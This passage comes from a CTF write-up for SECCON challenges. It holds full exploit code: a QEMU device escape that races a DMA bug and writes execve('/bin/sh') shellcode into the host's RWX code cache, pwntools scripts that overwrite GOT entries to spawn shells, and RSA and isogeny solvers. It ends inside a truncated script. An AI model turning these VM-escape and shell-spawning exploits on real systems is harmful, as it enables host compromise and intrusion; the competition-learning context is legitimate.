there's a TOCTOU vuln in the driver. `s->storage` is saved as a local variable and is used in the DMA loop while there's no gurantee that `s->size` and `s->storage` are not changing while the dma loop is running. This gives us a primitive to overflow our mmap'ed section which is kinda hard to exploit. The good thing is that the author doesn't munmap sections when reallocating `s->storage` to lower the chances of segfault while doing the race condition. We used e1000 to get a achive race. The exploit strategy is that we compute the difference between rwx region and it's previous region, and then groom the heap by allocating many regions with exact the same difference size but 0x1000 more. After doing many allocations, there's a high chance that allocating the exact difference size falls right before the rwx region and we can write shellcode at the rwx region which QEMU executes at some point. 

The size of the unmapped memory between rwx region and its previous region was different on remote when we tried our exploit so we had to do bruteforce the size of this region. Since we don't crash on a guess which is higher than the exact size, we can groom the heap and then keep subtracting 0x1000 from the size and do the exploit again.


Brute force script
```python=
#!/usr/bin/python3
from pwn import *
import multiprocessing
import tempfile
import subprocess
import shutil
import os
import random
import sys

context.log_level = "error"

def send_command(p, cmd):
    p.sendlineafter(b"#", cmd.encode())
    p.recvuntil(b"#")
    p.unrecv(b"#")

def send_file(p, src, dst):
    data = read(src)
    b64 = b64e(data)

    send_command(p, f"rm -f {dst}.b64")
    send_command(p, f"rm -f {dst}")

    size = 800
    for i in range(len(b64)//size + 1):
        chunk = b64[i*size:(i+1)*size]
        if chunk:
            send_command(p, f"echo -n '{chunk}' >> {dst}.b64")

    send_command(p, f"cat {dst}.b64 | base64 -d > {dst}")
    send_command(p, f"chmod +x {dst}")

def worker(host, port, rem_c):

    while True:
        hexdigits = "0123456789abcdef"
        xx = random.choice(hexdigits) + random.choice(hexdigits)

        tmp = tempfile.mkdtemp()
        try:
            cpath = os.path.join(tmp, "rem.c")
            binpath = os.path.join(tmp, "qwe")

            with open(rem_c, "r") as f:
                src = f.read()

            src = src.replace(
                "uint32_t old_size = 0x7f000;",
                f"uint32_t old_size = 0x1{xx}000;"
            )

            with open(cpath, "w") as f:
                f.write(src)

            subprocess.check_call(["gcc", cpath, "-O2", "-o", binpath])

            p = remote(host, port)
            send_file(p, binpath, "/tmp/qwe")
            p.sendlineafter(b"#", b"/tmp/qwe")
            for _ in range(80):
                g = p.recvuntil(b'}')
                print(g)
                if (b'{' in g or b'FLAG' in g):
                    with open("flags", "ab") as f:
                        f.write(g)
            p.close()
        finally:
            shutil.rmtree(tmp)

if __name__ == "__main__":
    host = sys.argv[1]
    port = int(sys.argv[2])
    rem_c = "rem.c"

    processes = []
    for _ in range(10):
        p = multiprocessing.Process(target=worker, args=(host, port, rem_c))
        p.start()
        processes.append(p)

    for p in processes:
        p.join()

```

exploit itself

```c=
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

/* ---- swp MMIO ---- */
enum {
    SWP_OFF_ADDRESS = 0x00,
    SWP_OFF_SIZE = 0x08,
    SWP_OFF_MODE = 0x0C,
    SWP_OFF_KICK = 0x10,
};
#define SWP_KICK_MAGIC 0x005ECC02u
enum {
    MODE_SWAPOUT = 0,
    MODE_SWAPIN = 1,
};

/* ---- e1000 minimal regs/bits ---- */
#define E1000_STATUS 0x0008

#define E1000_MDIC 0x0020
#define E1000_MDIC_DATA_MASK 0x0000FFFFu
#define E1000_MDIC_REG_SHIFT 16
#define E1000_MDIC_PHY_SHIFT 21
#define E1000_MDIC_OP_WRITE 0x04000000u
#define E1000_MDIC_OP_READ 0x08000000u
#define E1000_MDIC_READY 0x10000000u
#define E1000_MDIC_ERROR 0x40000000u

#define MII_BMCR 0x00
#define MII_BMCR_LOOPBACK 0x4000u

#define E1000_RCTL 0x0100
#define E1000_RCTL_EN 0x00000002u
#define E1000_RCTL_UPE 0x00000008u

#define E1000_RDBAL 0x2800
#define E1000_RDBAH 0x2804
#define E1000_RDLEN 0x2808
#define E1000_RDH 0x2810
#define E1000_RDT 0x2818

#define E1000_TCTL 0x0400
#define E1000_TCTL_EN 0x00000002u
#define E1000_TCTL_PSP 0x00000008u
#define E1000_TCTL_CT_SHIFT 4
#define E1000_TCTL_COLD_SHIFT 12

#define E1000_TIPG 0x0410

#define E1000_TDBAL 0x3800
#define E1000_TDBAH 0x3804
#define E1000_TDLEN 0x3808
#define E1000_TDH 0x3810
#define E1000_TDT 0x3818

#define E1000_TXD_CMD_EOP 0x01000000u
#define E1000_TXD_CMD_IFCS 0x02000000u
#define E1000_TXD_CMD_RS 0x08000000u

struct __attribute__((packed)) e1000_tx_desc {
    uint64_t buffer_addr;
    uint32_t lower;
    uint32_t upper;
};

struct __attribute__((packed)) e1000_rx_desc {
    uint64_t buffer_addr;
    uint16_t length;
    uint16_t checksum;
    uint8_t status;
    uint8_t errors;
    uint16_t special;
};

static void die(const char *what)
{
    perror(what);
    exit(1);
}

static inline uint32_t mmio_read32(volatile uint8_t *base, size_t off)
{
    return *(volatile uint32_t *)(base + off);
}

static inline void mmio_write32(volatile uint8_t *base, size_t off, uint32_t v)
{
    *(volatile uint32_t *)(base + off) = v;
}

static inline void mmio_write64(volatile uint8_t *base, size_t off, uint64_t v)
{
    *(volatile uint64_t *)(base + off) = v;
}

static uint32_t read_sysfs_u32_hex(const char *path)
{
    FILE *fp = fopen(path, "re");
    if (!fp) {
        die("fopen(sysfs)");
    }
    unsigned int v = 0;
    if (fscanf(fp, "%x", &v) != 1) {
        fclose(fp);
        fprintf(stderr, "failed to parse %s\n", path);
        exit(1);
    }
    fclose(fp);
    return v;
}

static char *find_pci_bdf(uint16_t vendor, uint16_t device)
{
    DIR *dir = opendir("/sys/bus/pci/devices");
    if (!dir) {
        die("opendir(/sys/bus/pci/devices)");
    }

    struct dirent *de;
    while ((de = readdir(dir)) != NULL) {
        if (de->d_name[0] == '.') {
            continue;
        }

        char vendor_path[512];
        char device_path[512];
        snprintf(vendor_path, sizeof(vendor_path), "/sys/bus/pci/devices/%s/vendor", de->d_name);
        snprintf(device_path, sizeof(device_path), "/sys/bus/pci/devices/%s/device", de->d_name);

        uint32_t v = read_sysfs_u32_hex(vendor_path);
        uint32_t d = read_sysfs_u32_hex(device_path);
        if ((uint16_t)v == vendor && (uint16_t)d == device) {
            closedir(dir);
            return strdup(de->d_name);
        }
    }

    closedir(dir);
    return NULL;
}

static uint64_t parse_bar0_start(const char *bdf)
{
    char path[256];
    snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource", bdf);
    FILE *fp = fopen(path, "re");
    if (!fp) {
        die("fopen(resource)");
    }

    unsigned long long start = 0, end = 0, flags = 0;
    if (fscanf(fp, "%llx %llx %llx", &start, &end, &flags) != 3) {
        fclose(fp);
        fprintf(stderr, "failed to parse %s\n", path);
        exit(1);
    }
    fclose(fp);
    (void)end;
    (void)flags;
    return (uint64_t)start;
}

static volatile uint8_t *map_pci_resource0(const char *bdf, size_t map_len)
{
    char path[256];
    snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource0", bdf);
    int fd = open(path, O_RDWR | O_SYNC);
    if (fd < 0) {
        die("open(resource0)");
    }
    void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    close(fd);
    if (p == MAP_FAILED) {
        die("mmap(resource0)");
    }
    return (volatile uint8_t *)p;
}

static void pci_enable_bus_master(const char *bdf)
{
    char path[256];
    snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", bdf);
    int fd = open(path, O_RDWR);
    if (fd < 0) {
        die("open(pci config)");
    }

    uint16_t cmd = 0;
    if (pread(fd, &cmd, sizeof(cmd), 0x04) != sizeof(cmd)) {
        die("pread(pci command)");
    }
    cmd |= (uint16_t)0x0006;
    if (pwrite(fd, &cmd, sizeof(cmd), 0x04) != sizeof(cmd)) {
        die("pwrite(pci command)");
    }
    close(fd);
}

static uint64_t virt_to_phys_page_aligned(void *page)
{
    uintptr_t va = (uintptr_t)page;
    if (va & 0xfff) {
        fprintf(stderr, "virt_to_phys expects page-aligned pointer\n");
        exit(1);
    }

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open(/proc/self/pagemap)");
    }

    uint64_t entry = 0;
    off_t off = (off_t)((va >> 12) * 8);
    if (pread(fd, &entry, sizeof(entry), off) != sizeof(entry)) {
        die("pread(pagemap)");
    }
    close(fd);

    if (((entry >> 63) & 1) == 0) {
        fprintf(stderr, "page not present\n");
        exit(1);
    }
    uint64_t pfn = entry & ((1ULL << 55) - 1);
    return pfn << 12;
}

static uint16_t e1000_mdic_read_phy(volatile uint8_t *e1000, uint32_t phy, uint32_t reg)
{
    uint32_t cmd = (reg << E1000_MDIC_REG_SHIFT) | (phy << E1000_MDIC_PHY_SHIFT) | E1000_MDIC_OP_READ;
    mmio_write32(e1000, E1000_MDIC, cmd);

    for (int i = 0; i < 10000; i++) {
        uint32_t v = mmio_read32(e1000, E1000_MDIC);
        if (v & E1000_MDIC_READY) {
            if (v & E1000_MDIC_ERROR) {
                fprintf(stderr, "MDIC read error (phy=%u reg=%u) mdic=0x%08x\n", phy, reg, v);
                exit(1);
            }
            return (uint16_t)(v & E1000_MDIC_DATA_MASK);
        }
        usleep(10);
    }

    fprintf(stderr, "MDIC read timeout (phy=%u reg=%u)\n", phy, reg);
    exit(1);
}

static void e1000_mdic_write_phy(volatile uint8_t *e1000, uint32_t phy, uint32_t reg, uint16_t data)
{
    uint32_t cmd = (uint32_t)data | (reg << E1000_MDIC_REG_SHIFT) | (phy << E1000_MDIC_PHY_SHIFT) | E1000_MDIC_OP_WRITE;
    mmio_write32(e1000, E1000_MDIC, cmd);

    for (int i = 0; i < 10000; i++) {
        uint32_t v = mmio_read32(e1000, E1000_MDIC);
        if (v & E1000_MDIC_READY) {
            if (v & E1000_MDIC_ERROR) {
                fprintf(stderr, "MDIC write error (phy=%u reg=%u) mdic=0x%08x\n", phy, reg, v);
                exit(1);
            }
            return;
        }
        usleep(10);
    }

    fprintf(stderr, "MDIC write timeout (phy=%u reg=%u)\n", phy, reg);
    exit(1);
}

static void build_execve_shellcode(uint8_t page[0x1000])
{
    memset(page, 0x0f, 0x1000);

    /*
     * x86-64 Linux, position-independent:
     *   execve("/bin/sh", ["/bin/sh","-c","cat /flag-*"], NULL)
     *
     * Keep it tiny; we overwrite the TCG prologue page and want quick execution.
     */
    static const uint8_t sc[] = {
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x90,0x90,0x90,0x90,0x90,
        0x48,0x31,0xd2,0x52,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,
0x73,0x68,0x53,0x48,0x89,0xe7,0x52,0x48,0xbb,0x63,0x61,0x74,
0x20,0x2f,0x66,0x2a,0x00,0x53,0x48,0x89,0xe6,0x52,0x48,0xc7,
0xc3,0x2d,0x63,0x00,0x00,0x53,0x48,0x89,0xe1,0x52,0x56,0x51,
0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0xc7,0xc0,0x3b,0x00,
0x00,0x00,0x0f,0x05,
        0x0f,0x0b,0x0f,0x0b,0x0f,0x0b,0x0f,0x0b
    };
    memcpy(page, sc, sizeof(sc));

    /*
     * Patch RIP-relative displacements.
     * Layout:
     *   sc[0..] contains code then strings immediately after.
     *   We patched with placeholder 0x2a (42) bytes; fix precisely.
     */
    // uint8_t tmp[sizeof(sc)];
    // memcpy(tmp, sc, sizeof(sc));

    // size_t off_binsh = 0;
    // size_t off_dashc = 0;
    // size_t off_cmd = 0;
    // /* Find strings by searching known sequences in tmp */
    // for (size_t i = 0; i + 8 <= sizeof(tmp); i++) {
    //     if (memcmp(&tmp[i], "/bin/sh\0", 8) == 0) {
    //         off_binsh = i;
    //         break;
    //     }
    // }
    // for (size_t i = 0; i + 3 <= sizeof(tmp); i++) {
    //     if (memcmp(&tmp[i], "-c\0", 3) == 0) {
    //         off_dashc = i;
    //         break;
    //     }
    // }
    // for (size_t i = 0; i + 12 <= sizeof(tmp); i++) {
    //     if (memcmp(&tmp[i], "cat /flag-*\0", 12) == 0) {
    //         off_cmd = i;
    //         break;
    //     }
    // }
    // if (!off_binsh || !off_dashc || !off_cmd) {
    //     fprintf(stderr, "internal shellcode layout bug\n");
    //     exit(1);
    // }

    // /* lea rdi: next RIP is at instruction end (offset 7). */
    // int32_t disp_binsh = (int32_t)(off_binsh - 7);
    // memcpy(&tmp[3], &disp_binsh, 4);

    // /* lea rbx at offset 7: instruction starts at 7, length 7, next RIP at 14. */
    // int32_t disp_dashc = (int32_t)(off_dashc - 14);
    // memcpy(&tmp[10], &disp_dashc, 4);

    // /* lea rcx at offset 14: next RIP at 21. */
    // int32_t disp_cmd = (int32_t)(off_cmd - 21 - 3);
    // memcpy(&tmp[17], &disp_cmd, 4);

}

static void usage(const char *argv0)
{
    fprintf(stderr,
            "usage: %s [--probe] [--old-size SIZE] [--groom N] [--groom-big SIZE] [--rx-wait-ms MS] [--pause-ms MS]\n"
            "\n"
            "  --probe     Do not kick; only test when swp.size changes after E1000_TDT.\n"
            "  --old-size SIZE   Target old swp.size (page-aligned). Default: 0x001ff000.\n"
            "  --groom N   Number of VMA-groom iterations (default: 1024).\n"
            "  --groom-big SIZE  Groom allocation size (page-aligned, must be > old-size).\n"
            "  --rx-wait-ms MS   Delay after enabling RX (default: 1100).\n"
            "  --pause-ms MS     Sleep after grooming (debug; default: 0).\n",
            argv0);
    exit(1);
}

int main(int argc, char **argv)
{
    int groom_iters = 4000;
    bool probe = false;
    uint32_t old_size = 0x7f000;
    uint32_t groom_big; /* default for old_size=0x1ff000 */
    bool groom_big_set = false;
    uint32_t rx_wait_ms = 1100;
    uint32_t pause_ms = 0;

    uint32_t new_size = old_size + 0x1000u;
    groom_big = new_size;

    char *bdf_swp = find_pci_bdf(0x1234, 0x1337);
    char *bdf_e1000 = find_pci_bdf(0x8086, 0x100e);
    void *tx_ring_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    void *rx_ring_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    void *pkt0_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    void *pkt1_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (tx_ring_page == MAP_FAILED || rx_ring_page == MAP_FAILED || pkt0_page == MAP_FAILED || pkt1_page == MAP_FAILED) {
        die("mmap(rings/pkts)");
    }

    if (!bdf_swp || !bdf_e1000) {
        fprintf(stderr, "failed to locate swp/e1000\n");
        return 1;
    }

    uint64_t swp_bar_pa = parse_bar0_start(bdf_swp);
    uint64_t e1000_bar_pa = parse_bar0_start(bdf_e1000);
    fprintf(stderr, "[+] swp BAR0=0x%016" PRIx64 " e1000 BAR0=0x%016" PRIx64 "\n", swp_bar_pa, e1000_bar_pa);

    pci_enable_bus_master(bdf_swp);
    pci_enable_bus_master(bdf_e1000);

    volatile uint8_t *swp = map_pci_resource0(bdf_swp, 0x20);
    volatile uint8_t *e1000 = map_pci_resource0(bdf_e1000, 0x20000);

    const uint32_t groom_big_alt = groom_big+0x1000;
    mmio_write32(swp, SWP_OFF_SIZE, groom_big);
    for (int i = 0; i < groom_iters; i++) {
        mmio_write32(swp, SWP_OFF_SIZE, groom_big_alt);
        mmio_write32(swp, SWP_OFF_SIZE, groom_big);
    }
    /* Allocate shellcode page (guest RAM) and get its physical address. */
    uint8_t *shell_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                               MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (shell_page == MAP_FAILED) {
        die("mmap(shell_page)");
    }
    build_execve_shellcode(shell_page);
    uint64_t shell_pa = virt_to_phys_page_aligned(shell_page);


    for(int j=0;j<100;j++){
        old_size -= 0x3000;
        new_size = old_size+0x1000;
        uint64_t new_addr = shell_pa - (uint64_t)old_size;
        fprintf(stderr, "[+] shell_pa=0x%016" PRIx64 " new_addr=0x%016" PRIx64 "\n", shell_pa, new_addr);

        /*
        * --- e1000 rings ---
        *
        * probe mode:
        *   - 1 TX frame
        *   - RX buffer points to swp.size (BAR+0x08)
        *   - verifies whether swp.size changes immediately after TDT (synchronous RX)
        *
        * exploit mode:
        *   - 2 TX frames
        *   - RX desc0 writes into swp BAR base (sets swp.address + swp.size)
        *   - RX desc1 writes into swp BAR+0x0c (sets swp.mode=swapout)
        */


        uint64_t tx_ring_pa = virt_to_phys_page_aligned(tx_ring_page);
        uint64_t rx_ring_pa = virt_to_phys_page_aligned(rx_ring_page);
        uint64_t pkt0_pa = virt_to_phys_page_aligned(pkt0_page);
        uint64_t pkt1_pa = virt_to_phys_page_aligned(pkt1_page);

        struct e1000_tx_desc *tx_ring = (struct e1000_tx_desc *)tx_ring_page;
        struct e1000_rx_desc *rx_ring = (struct e1000_rx_desc *)rx_ring_page;
        memset(tx_ring, 0, 0x1000);
        memset(rx_ring, 0, 0x1000);

        const uint32_t pkt_len = 60;
        tx_ring[0].buffer_addr = htole64(pkt0_pa);
        tx_ring[0].lower = htole32(pkt_len | E1000_TXD_CMD_EOP | E1000_TXD_CMD_IFCS | E1000_TXD_CMD_RS);
        tx_ring[1].buffer_addr = htole64(pkt1_pa);
        tx_ring[1].lower = htole32(pkt_len | E1000_TXD_CMD_EOP | E1000_TXD_CMD_IFCS | E1000_TXD_CMD_RS);

        uint8_t *pkt0 = (uint8_t *)pkt0_page;
        uint8_t *pkt1 = (uint8_t *)pkt1_page;
        memset(pkt0, 0, 0x1000);
        memset(pkt1, 0, 0x1000);

    /*
            * Exploit payloads:
            * - frame0 written to BAR+0x00 sets swp.address and swp.size.
            * - frame1 written to BAR+0x0c sets swp.mode=0 (swapout).
            */
        rx_ring[0].buffer_addr = htole64(swp_bar_pa + 0x00);
        rx_ring[1].buffer_addr = htole64(swp_bar_pa + 0x0c);

        memcpy(pkt0 + 0, &new_addr, sizeof(new_addr));
        uint64_t ns64 = new_size;
        memcpy(pkt0 + 8, &ns64, sizeof(ns64));
        pkt0[16] = 0x42; /* avoid accidental kick */

        /* pkt1 first 8 bytes are 0 -> swp.mode write sees val=0 */
        pkt1[16] = 0x42;

        /* Enable PHY loopback. */
        uint16_t bmcr = e1000_mdic_read_phy(e1000, 1, MII_BMCR);
        e1000_mdic_write_phy(e1000, 1, MII_BMCR, (uint16_t)(bmcr | MII_BMCR_LOOPBACK));

        /* RX ring. */
        mmio_write32(e1000, E1000_RDBAL, (uint32_t)(rx_ring_pa & 0xffffffffu));
        mmio_write32(e1000, E1000_RDBAH, (uint32_t)(rx_ring_pa >> 32));
        mmio_write32(e1000, E1000_RDLEN, 0x80);
        mmio_write32(e1000, E1000_RDH, 0);
        mmio_write32(e1000, E1000_RDT, 15);

        /* TX ring. */
        mmio_write32(e1000, E1000_TDBAL, (uint32_t)(tx_ring_pa & 0xffffffffu));
        mmio_write32(e1000, E1000_TDBAH, (uint32_t)(tx_ring_pa >> 32));
        mmio_write32(e1000, E1000_TDLEN, 0x80);
        mmio_write32(e1000, E1000_TDH, 0);
        mmio_write32(e1000, E1000_TDT, 0);

        uint32_t tctl = E1000_TCTL_EN | E1000_TCTL_PSP | (0x10u << E1000_TCTL_CT_SHIFT) | (0x40u << E1000_TCTL_COLD_SHIFT);
        mmio_write32(e1000, E1000_TCTL, tctl);
        mmio_write32(e1000, E1000_TIPG, 0x0060200Au);

        /* Enable RX and accept all unicast (our pkt0 dest is arbitrary). */
        mmio_write32(e1000, E1000_RCTL, E1000_RCTL_EN | E1000_RCTL_UPE);
        usleep((useconds_t)rx_wait_ms * 1000u);




        /* Final attempt to allocate the 0x1ff000 mapping that we want as storage_base. */
            mmio_write32(swp, SWP_OFF_SIZE, old_size);
            uint32_t final_size = mmio_read32(swp, SWP_OFF_SIZE);
            fprintf(stderr, "[+] swp: grooming done (iters=%d big=0x%08x) final_size=0x%08x\n",
                    groom_iters, groom_big, final_size);

        /*
        * --- Exploit path ---
        *
        * 1) Fill swp storage page0 with a "register page" for e1000 BAR+0x3000 that writes TDT=2
        *    (two frames) when swapin writes it into e1000-mmio.
        */
            void *reg_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
            if (reg_page == MAP_FAILED) {
                die("mmap(reg_page)");
            }
            memset(reg_page, 0, 0x1000);
            *(uint32_t *)((uint8_t *)reg_page + (E1000_TDBAL - 0x3000)) = (uint32_t)(tx_ring_pa & 0xffffffffu);
            *(uint32_t *)((uint8_t *)reg_page + (E1000_TDBAH - 0x3000)) = (uint32_t)(tx_ring_pa >> 32);
            *(uint32_t *)((uint8_t *)reg_page + (E1000_TDLEN - 0x3000)) = 0x80;
            *(uint32_t *)((uint8_t *)reg_page + (E1000_TDH - 0x3000)) = 0;
            *(uint32_t *)((uint8_t *)reg_page + (E1000_TDT - 0x3000)) = 2;
            uint64_t reg_page_pa = virt_to_phys_page_aligned(reg_page);

            mmio_write64(swp, SWP_OFF_ADDRESS, reg_page_pa);
            mmio_write32(swp, SWP_OFF_MODE, MODE_SWAPOUT);
            mmio_write32(swp, SWP_OFF_KICK, SWP_KICK_MAGIC);

            /*
                * 2) Attack kick: swapin into e1000 BAR+0x3000 triggers TX->RX.
                *    The RX payloads DMA into swp BAR and update:
                *      - swp.address = shell_pa - old_size
                *      - swp.size    = old_size + 0x1000
                *      - swp.mode    = swapout
                *
                *    That should make the outer kick run one extra iteration and write our shellcode
                *    page into the host RWX code cache base.
                */
            mmio_write64(swp, SWP_OFF_ADDRESS, e1000_bar_pa + 0x3000);
            mmio_write32(swp, SWP_OFF_MODE, MODE_SWAPIN);

            fprintf(stderr, "[+] swp: starting attack kick (expect host flag)\n");
            mmio_write32(swp, SWP_OFF_KICK, SWP_KICK_MAGIC);

            fprintf(stderr, "[!] returned; swp.size=0x%08x swp.mode=0x%08x (expected size=0x%08x)\n",
                    (unsigned)mmio_read32(swp, SWP_OFF_SIZE),
                    (unsigned)mmio_read32(swp, SWP_OFF_MODE),
                    new_size);
    }
    return 0;
}

```
### gachiarray

If the malloc is failed, we can access to any address in ELF area.
So, we overwrote GOTs and got a shell

```python=
from pwn import *

e = ELF('chal')
libc = e.libc
# p = e.process()
p = remote('gachiarray.seccon.games', 5000)

go = lambda a,b,c:p.send(p32(a & 0xFF_FF_FF_FF) + p32(b & 0xFF_FF_FF_FF) + p32(c & 0xFF_FF_FF_FF))

GET = 1
SET = 2
RES = 3

go(-1, 0, 0)
go(RES, -1, 0)

go(GET, e.got['setbuf'] // 4, 0)
p.recvuntil(b'] = ')
lsd = int(p.recvline()) & 0xFF_FF_FF_FF
go(GET, e.got['setbuf'] // 4 + 1, 0)
p.recvuntil(b'] = ')
msd = int(p.recvline()) & 0xFF_FF_FF_FF

setbuf = (msd << 32) | lsd
print(hex(setbuf))

libc.address = setbuf - libc.symbols['setbuf']
print(hex(libc.address))

go(SET, e.bss() // 4 + 0x100, u32(b'$0\0\0'))

go(SET, e.got['malloc'] // 4, libc.symbols['system'])
go(SET, e.got['malloc'] // 4 + 1, libc.symbols['system'] >> 32)
go(SET, e.got['exit'] // 4, e.symbols['main'])
go(SET, e.got['exit'] // 4 + 1, e.symbols['main'] >> 32)
go(0, 0, 0)

go(e.bss() // 4 + 0x100, 0, 0)


p.interactive()
```


### CursedST

std::stack uses uninitialized address and sets the init pointer in the middle of its heap chunk.
So we can make its heap chunk uses dirty chunk and pop it for AAW.
And we overwrote some GOTs and got a shell

```python=
from pwn import *

e = ELF('./chal')
libc = e.libc
# p = e.process()
p = remote('st.seccon.games', 5000)

spush = lambda x: (p.sendline(b'1'), p.sendline(str(x).encode()))
spop = lambda: p.sendline(b'2')
tpush = lambda x: (p.sendline(b'3'), p.sendline(str(x).encode()))
tpop = lambda: p.sendline(b'4')

p.sendlineafter(b'name?\n', b'sgsgsgsg')
p.recvline()

N = 8
for i in range(64 * N):
    tpush(e.symbols['T'] + 0x30)

for i in range(64 * N):
    tpop()

for i in range(64 * N):
    spush(i)
for i in range(64 * N):
    spop()
for i in range(64):
    spop()

ret = 0x401360

spush(e.got['_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE'])
tpush(ret)
spop()

spush(e.symbols['_Z4nameB5cxx11'])
tpush(e.got['__libc_start_main'])
spop()

spush(e.got['_ZdlPvm'])
tpush(e.symbols['main'])
spop()

spush(0)
spush(0)
tpop()
spop()
spop()

p.recvuntil(b', ')
__libc_start_main = u64(p.recv(8))

base = libc.address = __libc_start_main - libc.symbols['__libc_start_main']
print(hex(__libc_start_main))
print(hex(base))

spush(e.got['_ZdlPvm'])
tpush(libc.symbols['system'])
spop()

spush(next(libc.search(b'/bin/sh')))
spush(next(libc.search(b'/bin/sh')))
tpop()

p.interactive()
```

---

## CRYPTO

### Yukari

```python
import argparse
from math import gcd

from Crypto.PublicKey import RSA
from Crypto.Util.number import getPrime, isPrime
from pwn import remote


def verify_bad_key(p: int, q: int, samples: int = 3) -> bool:
    """Return True if RSA.construct fails consistently for this (p, q)."""
    phi = (p - 1) * (q - 1)
    n = p * q

    for _ in range(samples):
        e = getPrime(64)
        if gcd(e, phi) != 1:
            continue
        d = pow(e, -1, phi)
        try:
            RSA.construct((n, e, d))
            return False
        except ValueError as err:
            if "Invalid RSA component u" not in str(err):
                return False
    return True


def find_bad_q(p: int, samples: int = 3) -> int:
    """Search for q such that RSA.construct trips over an invalid CRT coefficient."""
    m = 4
    while True:
        q = p * m + 1
        if isPrime(q) and verify_bad_key(p, q, samples):
            return q
        m += 4


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="yukari.seccon.games")
    parser.add_argument("--port", type=int, default=15809)
    parser.add_argument("--samples", type=int, default=3)
    args = parser.parse_args()

    io = remote(args.host, args.port)
    try:
        for _ in range(32):
            chunk = io.recvuntil(b"q: ")
            line = chunk.decode().strip().splitlines()[0]
            p = int(line.split("=", 1)[1].strip())

            q = find_bad_q(p, args.samples)
            io.sendline(str(q).encode())

            resp = io.recvline()
            if b"error!" not in resp:
                print(resp.decode().strip())
                break
        else:
            flag = io.recvline().decode().strip()
            print(flag)
            return

        while True:
            line = io.recvline(timeout=1)
            if not line:
                break
            print(line.decode().strip())
    finally:
        io.close()


if __name__ == "__main__":
    main()

Skjul
solve.py3 KB

```

### Last Flight

I played with Gemini Pro3 and it gave me an exploit working.

```py

from sage.all import *
from sage.libs.pari.all import pari
import time
import sys
import random

# 재귀 제한 해제
sys.setrecursionlimit(5000)

# =========================================================
# 파라미터 및 상수
# =========================================================
p = 4718527636420634963510517639104032245020751875124852984607896548322460032828353
vulcan = 4491053584681777230004921432233140592597539170014127209575411842495341326963276 #1032815199613294836441991697670860208381926032505307265487335268245684306208285
bell   = 2432038507299873422947378256916580720285894903782869800072412407408607809024120 #3965663478015689727788420704543487542053494366008556974663035443614150956655855

C1488 = 1488
C162000 = 162000
C40773375 = 40773375
C8748000000 = 8748000000
CHUGE = 157464000000000

PHI_CACHE = {}

def get_neighbors_fast(j):
    """ PARI/GP를 이용한 고속 이웃 탐색 """
    j = int(j)
    if j in PHI_CACHE: return PHI_CACHE[j]

    X = j % p
    X2 = (X * X) % p
    X3 = (X2 * X) % p
    a2 = (-X2 + C1488*X - C162000) % p
    a1 = (C1488*X2 + C40773375*X + C8748000000) % p
    a0 = (X3 - C162000*X2 + C8748000000*X - CHUGE) % p

    try:
        roots = pari([a0, a1, a2, 1]).Polrev().polrootsmod(p)
        ns = [int(r) for r in roots]
    except:
        ns = []

    PHI_CACHE[j] = ns
    return ns

def measure_dist_to_floor(node, parent, limit=300):
    """
    [핵심 수정]
    단순 Greedy Walk로 바닥까지의 거리를 잽니다.
    - 화산 구조상, 아래로 가는 길은 무조건 같은 깊이의 바닥으로 수렴합니다.
    - 따라서 갈래길을 다 가볼 필요 없이, 아무거나 하나 잡고 쭉 내려가면 깊이가 나옵니다.
    - limit(300)을 넘어가면 '바닥이 아주 멀다' = '위쪽(Crater) 방향'으로 판단합니다.
    """
    curr = node
    prev = parent
    depth = 0

    while depth < limit:
        neighbors = get_neighbors_fast(curr)
        # 진행 가능한 경로 (왔던 길 제외)
        next_steps = [n for n in neighbors if n != prev]

        # 바닥 도착 (더 이상 갈 곳 없음)
        if not next_steps:
            return depth

        # Greedy: 그냥 첫 번째 길로 계속 내려감 (어차피 깊이는 같음)
        prev = curr
        curr = next_steps[0]
        depth += 1

    return limit # 바닥을 못 만남 (아주 깊거나 위쪽임)

def climb_volcano(start_node, label="Node"):
    path = [start_node]
    curr = start_node
    prev = None

    # 문제의 Depth가 160이므로, 이를 확실히 넘어서는 값으로 설정
    PROBE_LIMIT = 250

    print(f"[*] Climbing {label} (Probe Limit: {PROBE_LIMIT})...", flush=True)

    for step in range(PROBE_LIMIT + 50): # 충분히 많이 반복
        neighbors = get_neighbors_fast(curr)
        candidates = [n for n in neighbors if n != prev]

        if not candidates:
